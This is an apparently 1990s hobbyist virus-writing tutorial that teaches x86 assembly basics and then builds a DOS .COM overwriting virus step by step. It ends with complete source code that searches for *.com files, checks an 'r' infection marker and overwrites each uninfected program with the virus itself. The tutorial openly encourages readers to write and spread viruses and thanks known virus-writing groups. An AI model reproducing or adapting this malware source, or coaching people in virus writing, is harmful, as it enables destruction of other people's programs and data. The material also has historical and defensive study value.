RATBOY'S
OVER WRITTING VIRUS TUTORIAL #2

     /\---/\
    ( .   . )
     \     /       WARNING: Information Contained Within Can Eat Both Your
      \   /        ^^^^^^^  Mind, Hard Drive and your dog.
       \*/                  I assume no responsiblity!!!!!!
        #

         Hello everyone!!!!  Considering I have gotten positive responses about
    Ratboy#1 I decided to continue on with your lessions in simple viruses.
    So what is in store for this issue?  We will be going over some terms to
    help us in this issue.  Also, we will move on to more complex overwriting
    .Com viruses. If you read and understood Ratboy#1, you should understand
    how to due simple file operations.  Such as, you need to open the victum
    for reading and writing, and  if you are a ATF agent you need to open the
    file to shoot it in the back like it was one of your own agents.  You will
    read how to read from your file, write to it, "tag" it, and more helpful
    example code to help with your further learning of viruses. :)  Yea!!

    Now the boreing parts:

    What is a JMP (jump)?
            A jump is kinda like what it sounds like, a jump.  Since we know
            that an assembly source reads top to bottom, sometimes we need to
            skip around in a program depending on the situation. Here's a simple
            example:

                    call    delta_offset
            delta_offset:
                    pop     bp
                    sub     bp,delta_offset
                    jmp     restore  ;<===this is a jump :)
            eat_hd:
                    "blah"
                    "blah"

            As you can see, in the example, we jumped over eat_hd and anything
            else that was between the jump and restore.  A real simple
            explanation of how a jump works is like this.  A jump when put
            together by the assembler, well be converted to a jump without
            the label but a displacement.  Like this:

            jmp     anywhere

            Really means jmp  45 bytes

            As you can see the number is postive so it a foward jump (negative
            would be backwards).  Now I think I'm getting too far, I just wanted
            you to understand it's a displacement.  I'm not even going into
            conditional jumps since I did say in the Ratboy#1 you do need to
            understand Assembly.  I know a lot of this should be old hat, but
            bare with me for now.  :)

    I was recently asked what is a CALL?
            A call is like a jump with a return address.  When a Call is made,
            the next line offset(address) is pushed into the stack, and a jump
            to the place called is made.  Once there, you can return by using
            RET.  This RET will pop the return address off the stack and jump
            there.
            Simple example:

                    mov     al,02h
                    call    mov_ptr  ;<==the next line's address it put into
                                     ;the stack (that would be eat_hd) and a
                                     ;jump is made to mov_ptr
            eat_hd:
                    "blah"
                    "blah"
                    "blah"
                    jmp     exit     ;<==simple review, how does this work?

            mov-ptr:
                    "blah"
                    "blah"
                    "blah"
                    ret              ;ah..now the return address(eat_hd) is
                                     ;popped off the stack and a jump is made
                                     ;to it

    Another question was what is an OFFSET?
            Since we are so far just dealing with .Com files make this real
            simple.  An offset is like an address.  If you know where you live,
            then you understand how and address works.
            Simple Simple Example:

            Where does Debby live?
            Oh, on 16th St. and 5th Ave.  (that is an example of an Offset)
            Review:
            Where does Debby live?
            Oh, go down three blocks and the third house on the left.
            (this is an example of a jump, see the displacement?)

    Another question is what is LEA?
            LEA stands for Load Effective Address.  Yarn!  Too technical.  Here's
            how it works.  Remember in Ratboy#1 when looking for a file, you
            needed to load the file type(*.com) offset into dx, like this:

            mov     dx,offset file_type

            well you can do this instead:

            lea     dx,file_type

            Nuff said.  Practice with it, see its ranges of use.

    Ok I know some one must have fallen asleep, if this bores you just go ahead
    and read Dark Angel's Virus Writing Guides, maybe they are up to speed with
    you.

    How can I speed up my programs?
            Simple, kinda think of speed as being the least amount of bytes
            nessary for you to carry out the job.
            example:

            mov     ax,0   ;3 bytes
            sub     ax,ax  ;2 bytes

            So which one would you figure to be the faster.  I used sub ax,ax
            since I don't want to even go into explaining XOR, but XOR AX,AX
            will do the samethin.  Do some reading up on it, you'll need it for
            encryption later on in your virus writing carreer.  The Sub should
            make sense, subtract a number from itself = 0.

            Also here's another way of putting what is AX in BX.

            Instead of saying:
            mov     bx,ax  ;2 bytes

            say:
            xchg    bx,ax  ;1 byte

            Ya get it?

    Now down to the exciting part of doing something.  Yea!!!!

    Ok in the last issue if you made your virus and you noticed that it infected
    the first file and not any others, that's because it was real simple.  This
    time we will teach your little life form how to determine if the file is
    already infected.  Now how do you make sure you know which underwear are
    your's at summer camp, your mom sewed your name inside of them.  If you are
    over 30 and your mom still does this, you are a geek.  No arguements, you are
    a Geek.

    Ok, we need to put in, the infected file, some type of marker, so that we
    can later read it.  Let's keep this simple, since ofcourse that's the motive
    of this tutorial.  I will use the letter "r" for RaTBoY.  We will put
    that "infection marker" right after the jump.  So it will kinda look like
    this:
            virus_start:
                    jmp     find_first
            me      db      'r'
            find_first:
                    "blah"
                    "blah"

    Ya see it?  Now we will go on.  Since to do it all you have to do is put the
    Me    db   'r' in the front of your virus.  Now we need to put that jump in
    there, for the file to go over the 'r' and start looking for the file. All
    the virus needs to do is read the first four bytes of a file, and check if
    the 4th (jmp + offset = 3bytes) byte to identify if it's already infected.

    Now let's look at the order of operations.  For you english majors this is
    outline.  :)

    (I)    find file
           (a)no files to infect...EXIT
    (II)   open file for reading
    (III)  read first four bytes
    (IV)   close file
    (V)    compare to id byte(infection marker)
           (a) if infected already:
                1. setup to find next file
                2. goto step I
           (b)  if not infected continue on
    (VI)   open file for read/write
    (VII)  write self to file
    (VIII) close file
    (IX)   exit

    Now that should not be such a differcult virus to make.  Some of this
    material will be review for you and a chance to see if you can still
    understand everything clearly.

    -=Step I=-
      ------
    Now of course we need to find the first file.  Here are the required inputs:

            ah = 4eh
            cx = atributes
            dx = file type (ie. *.com)
            int  21h

    if the carry flag is set then there were no files, so if:
            jc      exit  ;jump to exit if no files
    not bad if you can remember this off the top of your head.  I think I went
    over this well enough in Ratboy#1, so not to bore you I go on.

    -=Step II=-
      ------
    Now we need to open that file to read and write to it.  Inputs are:

            ax = 3d00h               ;remember the value of AL will setup
                                     ;for the access you want
                                     ;al = 00h(read only)
                                     ;al = 01h(write only)
                                     ;al = 02h(read/write)
            dx = offset address of file name
            int 21h
    Returns:
            ax = file handle (or error code..nah can't happen)

    Now do you remember where we get that file name?  Why of course  you know
    this, it's in the DTA.  Now since we didn't mess with it, it should be
    at 80h in the Program Segment Prefix (PSP).  So if you know that and you've
    read Ratboy#1 where do we look for the address of the file name?
    That's right 9eh.  Remember to put the file handle in BX where we will use it
    later(ie. xchg bx,ax)  Since we went over this in Ratboy#1 we'll go on.

    -=Step III=-
      --------
    Now comes something new.  We will read the first four bytes of the victum
    file, and put it in our buffer, HOLDN_PLACE.  Here's the function's inputs:

            ah = 3fh
            bx = file handle
            cx = bytes to read
            dx = offset of buffer(buffer = the place you put the read byte(s))
            int 21h

    Here's how it would look in your virus:
    ***Remember that at the end of step two we put the file handle in bx***

            mov     ah,3fh
            mov     cx,4
            lea     dx,holdn_place
            int     21h

    and ofcourse at the end to the virus:
    holdn_place    db      ?,?,?,?

    -=Step IV=-
      ------
    Close up the file.  So if it's infected, we just move on.  If the file is not
    infected, we open it up for read and write access.  Inputs:

            ax = 3eh
            int 21h

    Simple enough?

    -=Step V=-
      ------
    Now we will compare the four bytes of the possible victum to the id byte.

            cmp     byte ptr [holdn_place +3],'r'    ;told ya I would use a 'r'
            jnz     open_it_again            ;if not same then time to infect
            mov     ah,4fh                   ;now we set up ah with 4fh(find next)
                           ;we could use a whole new find file routine but we will
                           ;use the the one from find first, just that now ah=4fh
                           ;if that confused you read the source for the setup.

    -=Step VI=-
      ------
    Now since it passed the test of not being infected, just reopen it.
    This time so we can write to it.  :)  Then inputs:

            ax = 3d02h
            dx = offset of file name
            int 21h

    Just to go over it one more time here's what it will look like:

            mov     ax,3d02h
            mov     dx,9eh          ;That's where the file name is in the DTA
            int     21h
            xchg    bx,ax           ;remember to put that file handle in BX  :)

    -=Step VII=-
      --------
    Of course this write to victum part should be real old hat for ya, since
    this is the part that seperates a lame trojan from a |< 00\_ virus.
    write to file inputs:

            ah = 40h(hey isn't that a magazine?)
            cx = number of bytes to write(size of virus)
            bx = file handle(victum)
            dx = offset address of buffer(beginning of virus)

    If unfamiliar with writing to file, just wait and look over the source at
    the end of this file.

    -=Step VIII=-
      --------
    Close file....sorry if this is getting repetative, but that is the sign of
    you learning how to do this real well.  Inputs:

            ah = 3eh
            bx = file handle(victum)

    -=Step IX=-
      ------
    Exit.  Here's a real easy way:

            INT     20h

    Well that is enough of that piece by piece construction.  Let's look at the
    finish part.

    ;Ratboy tutorial over writer #2 virus

    code    segment                 ;these part should look familar
            assume  cs:code,ds:code
            org     100h
    virus   proc    near

    virus_start:
            jmp     find_first
            db      'r'             ;there's that id byte

    find_first:                     ;load ah with 4eh for finding first
            mov     ah,4eh          ;file like the file_type

    find_file:
            xor     cx,cx           ;this put a 0 in cx, remember? The 0
                                    ;means look for normal attributes
            lea     dx,file_type    ;sets up for what type of file we're
                                    ;looking for, *.com
            int     21h
            jc      exit            ;no files, time to leave.

    open_file:
            mov     ax,3d00h        ;open file found for reading from.
            mov     dx,9eh          ;the file name is in the DTA
            int     21h
            xchg    bx,ax           ;remember that ax will return with the file
                                    ;handle, and we need that is bx  :)
    read_file:
            mov     ah,3fh          ;read file
            mov     cx,4            ;four bytes
            lea     dx,holdn_place  ;that's where it's going.... ;)
            int     21h

    close_it_up:
            mov     ah,3eh          ;just like it says
            int     21h

    compare:
            cmp     byte ptr[holdn_place + 3],'r' ;check if there is a 'r'
            jnz     open_it_up_again              ;not there ok let's infect

            mov     ah,4fh          ;ok let's setup to look for another file
            jmp     find_file       ;ah..you see how we will be using find_file
                                    ;but this time ah=4fh not 4eh.  See how it's
                                    ;different, but the same.
    open_it_up_again:
            mov     ax,3d02h        ;Alright, we have a live one here!!!!
            mov     dx,9eh          ;let's get that file name again
            int     21h
            xchg    bx,ax           ;yup, once again.

    infect:
            mov     ah,40h
            mov     cx,offset endvx - offset virus_start
                                    ;the end minus the beginning gives the lenth
                                    ;of the virus. #of bytes to write.
            lea     dx,virus_start  ;the virus's begining so this tells where to
                                    ;to start writing from and bx contains the
                                    ;file handle, where to write to.
            int     21h

    close_victum:
            mov     ah,3eh          ;now let's close up the victum
            int     21h

    exit:   int     20h             ;time to exit, later!!!

    file_type       db      "*.com",0
    holdn_place     db      ?,?,?,?
    endvx           label   near
    virus   endp
    code    ends
            end     virus_start

    I really do hope that this tutoral has been helpful to you.  Remember if you
    find this boring.  Then you know enough write effective overwriting viruses,
    and you should move on to other types of virus.

    Now remember the best teacher in virus writer is yourself practicing.  So if
    you want to try something different, try it.  Just don't do it in your DOS
    directory.  :)

    Also Included with this file: sources to overwriters and Ratboy viruses.
    You still need an Assembler, Bait files, a good reference book and not
    to forget good people to ask a lot of dumb questions to.  Like I do.  :)

    Of course that usual ending where I thank all those that have helped me:

    -=GOD: I woke up breathing today.  :)
    -=Mrs. Ratboy: For putting up with me  ;)
    -=FC:  For all the help dude!!!!!!!!!!!!
    -=Aristotle: No Aristotle I didn't mean you when I said GOD, but Thanks.
    -=M.P.: Love ya software, Invircible.
    -=Thanks to these guys and groups:  Virogen, Terminal Velocity, NuKE, Falcon,
      Vlad, Immortal Riot, P/S, ACVR, and every virus writer I didn't mention!!!